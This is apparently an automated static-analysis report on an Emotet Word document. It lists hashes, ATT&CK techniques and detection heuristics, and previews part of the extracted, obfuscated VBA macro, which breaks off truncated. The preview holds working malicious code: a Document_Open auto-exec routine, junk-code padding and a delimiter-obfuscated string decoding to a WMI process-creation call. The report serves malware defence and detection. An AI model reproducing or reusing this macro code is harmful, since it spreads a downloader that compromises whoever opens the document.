Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ebbbf1104be5c5f4…

MALICIOUS

Office (OLE)

227.6 KB Created: 2020-08-28 14:34:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 29d8be9b74b54b5e4c233ecc69425165 SHA-1: 96f1741abac9a5d5ec026bfcd6824ec91c51e8e8 SHA-256: ebbbf1104be5c5f4f000285e72aa802cdac327750e71a35a101e4ecac224d1d2
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that uses CreateObject to execute code. ClamAV identifies this as Emotet, a known downloader family. The VBA code is heavily obfuscated but the presence of auto-execution and object creation strongly suggests it's designed to download and execute a secondary payload. The ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' further supports this.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16128 bytes
SHA-256: c435f03b2a983cbca9408305f928a04272b96b9c13cb493791a7c051343bfdb1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xsc3dm7m3gt1t"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
H30gax8brotq_sy6i.Gkfyxjp9f5wdc2vq5
End Sub


Attribute VB_Name = "H30gax8brotq_sy6i"
Attribute VB_Base = "0{ABAE4C5A-7858-4AB0-B1C0-C34DB3C8AB43}{7737356B-D533-4035-B659-7EB888D64055}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Gkfyxjp9f5wdc2vq5()
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Rqrdf34za73_nnpteg = 100
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Hn_gmzs8o9hy1 = ChrW(Rqrdf34za73_nnpteg + (yyyy + 5 + bbbbb + 10))
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Fbqnl3inu6g2 = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + Hn_gmzs8o9hy1 + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + H30gax8brotq_sy6i.Cwwyreilkw7gduw4p3 + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
D7t3187aj25b_zdc8i = Uem09g3csfeh22j(Fbqnl3inu6g2)
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
     
... (truncated)